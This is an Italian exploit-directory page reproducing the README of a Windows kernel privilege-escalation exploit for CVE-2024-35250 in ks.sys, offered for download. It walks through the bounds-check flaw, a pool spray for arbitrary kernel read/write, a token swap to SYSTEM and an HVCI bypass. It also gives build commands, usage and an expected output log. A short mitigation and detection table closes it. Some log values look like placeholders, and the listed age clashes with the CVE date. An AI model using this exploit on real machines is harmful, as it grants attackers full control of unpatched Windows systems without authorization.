Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HVCIPwned — CVE-2024-35250 dimostra che HVCI non è una difesa contro gli exploit del kernel basati solo su dati. Finché un bug del driver fornisce una primitiva arbitraria di R/W, il token swap rimane una tecnica universale di elevazione a SYSTEM — senza necessità di esecuzione di codice. | Kitploit
Strumenti/GitHubGitHub/xvalegendary/hvcipwned
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubxvalegendary/hvcipwned

HVCIPwned

CVE-2024-35250 dimostra che HVCI non è una difesa contro gli exploit del kernel basati solo su dati. Finché un bug del driver fornisce una primitiva arbitraria di R/W, il token swap rimane una tecnica universale di elevazione a SYSTEM — senza necessità di esecuzione di codice.

Vedi Repository
84 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-35250

Elevazione locale dei privilegi tramite dereferenziazione di puntatore non attendibile nel driver Kernel Streaming di Windows (ks.sys). Exploit basato solo su dati — bypassa la Code Integrity protetta da hypervisor (HVCI).

Riepilogo

CampoDettaglio
CVECVE-2024-35250
Componenteks.sys (Kernel Streaming)
Classe del bugDereferenziazione di puntatore non attendibile
ImpattoElevazione dei privilegi a NT AUTHORITY\SYSTEM
HVCIBypassata — nessuna esecuzione di codice nel kernel
PatchKB5039212 (giugno 2024)
Sistemi interessatiWindows 10 20H1+ / Windows 11 21H2-23H2

Vulnerabilità

ks!KspPropertyHandler smista le richieste di proprietà a livello di topologia tramite KspProcessPropertyNode. Il campo NodeId della struttura KSP_NODE fornita dall'utente viene usato come indice in un array interno della tabella di automazione senza validazione dei limiti:

root@kitploit:~
NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- attacker-controlled

Un NodeId creato ad arte che supera il numero effettivo di nodi reindirizza la dereferenziazione verso la memoria pool adiacente, fornendo una primitiva di lettura/scrittura fuori dai limiti.

Bypass di HVCI

L'exploit manipola esclusivamente le strutture dati del kernel:

  1. Recupera l'indirizzo di EPROCESS tramite NtQuerySystemInformation
  2. Attiva la vulnerabilità per ottenere lettura/scrittura arbitraria nel kernel
  3. Scorri ActiveProcessLinks per individuare il PID 4 (System)
  4. Sovrascrivi il token del processo corrente con il token di System
  5. Avvia una shell elevata

Non viene iniettato shellcode. Non vengono create né eseguite pagine di codice non firmate. Nessun puntatore del flusso di controllo viene dirottato.

ProtezioneStato
HVCI / KMCIBypassata
SMEPNon attivato
SMAPNon attivato
kCFGNon attivato

Compilazione

Requisiti

  • Visual Studio 2019 / 2022
  • Windows SDK 10.0.19041.0+

Compilare

  1. Aprire hvcipwned.sln in Visual Studio
  2. Selezionare Release | x64
  3. Compila → Compila soluzione (Ctrl+Shift+B)

Binario di output: x64\Release\hvcipwned.exe

Compilazione manuale con cl.exe

root@kitploit:~
cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

Utilizzo

root@kitploit:~
hvcipwned.exe

Eseguire da una sessione utente senza privilegi su un sistema vulnerabile (senza patch). In caso di successo si apre una nuova finestra cmd.exe in esecuzione come NT AUTHORITY\SYSTEM.

Output previsto

root@kitploit:~
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

Struttura del progetto

root@kitploit:~
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - types, log macros, nt api typedefs
├── offsets.h        - per-build eprocess field offsets
├── device.h         - ks device enumeration
├── leak.h           - kernel address leaks
├── krw.h            - r/w primitive context
├── token.h          - token swap + shell spawn
└── exploit.h        - top-level entry
├── main.c           - entry point
├── device.c         - setupapi device open
├── leak.c           - NtQuerySystemInformation leaks
├── krw.c            - vulnerability trigger + pool spray + r/w
├── token.c          - eprocess walk + token overwrite
└── exploit.c        - orchestration

Build supportate

Gli offset vengono risolti automaticamente in fase di esecuzione tramite RtlGetVersion.

Note

  • Richiede un dispositivo filtro KS con nodi di topologia (funzionano i dispositivi audio)
  • Il successo del pool spray dipende dalla pressione sulla memoria di sistema e dal tempismo
  • L'exploit usa gli attributi delle named pipe per il pool feng shui
  • Eseguire come utente normale (non amministratore) per dimostrare l'elevazione dei privilegi
  • Potrebbero essere necessari più tentativi a causa della randomizzazione del layout del pool

Mitigazione

Riferimenti

  • Avviso Microsoft
  • Note della patch KB5039212
  • DEVCORE — Pwn2Own Vancouver 2024
  • varwara/CVE-2024-35250

Dichiarazione di non responsabilità

Questo progetto è fornito esclusivamente per ricerca di sicurezza autorizzata e scopi educativi. Non utilizzarlo contro sistemi senza un'esplicita autorizzazione scritta. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo software.

Licenza

MIT

Scarica lo strumento
CET / Shadow Stack
Non attivato
OSBuildStato
Windows 10 20H119041Supportata
Windows 10 20H219042Supportata
Windows 10 21H119043Supportata
Windows 10 21H219044Supportata
Windows 10 22H219045Supportata
Windows 11 21H222000Supportata
Windows 11 22H222621Supportata
Windows 11 23H222631Supportata
AzioneDettaglio
PatchInstallare KB5039212 (giugno 2024) o successivo
RilevamentoMonitorare IOCTL_KS_PROPERTY con il flag KSPROPERTY_TYPE_TOPOLOGY
EDRAvvisare sulle modifiche all'integrità del token tramite callback del kernel EtwTi
HardeningLimitare l'accesso degli utenti alle interfacce del dispositivo KS tramite DACL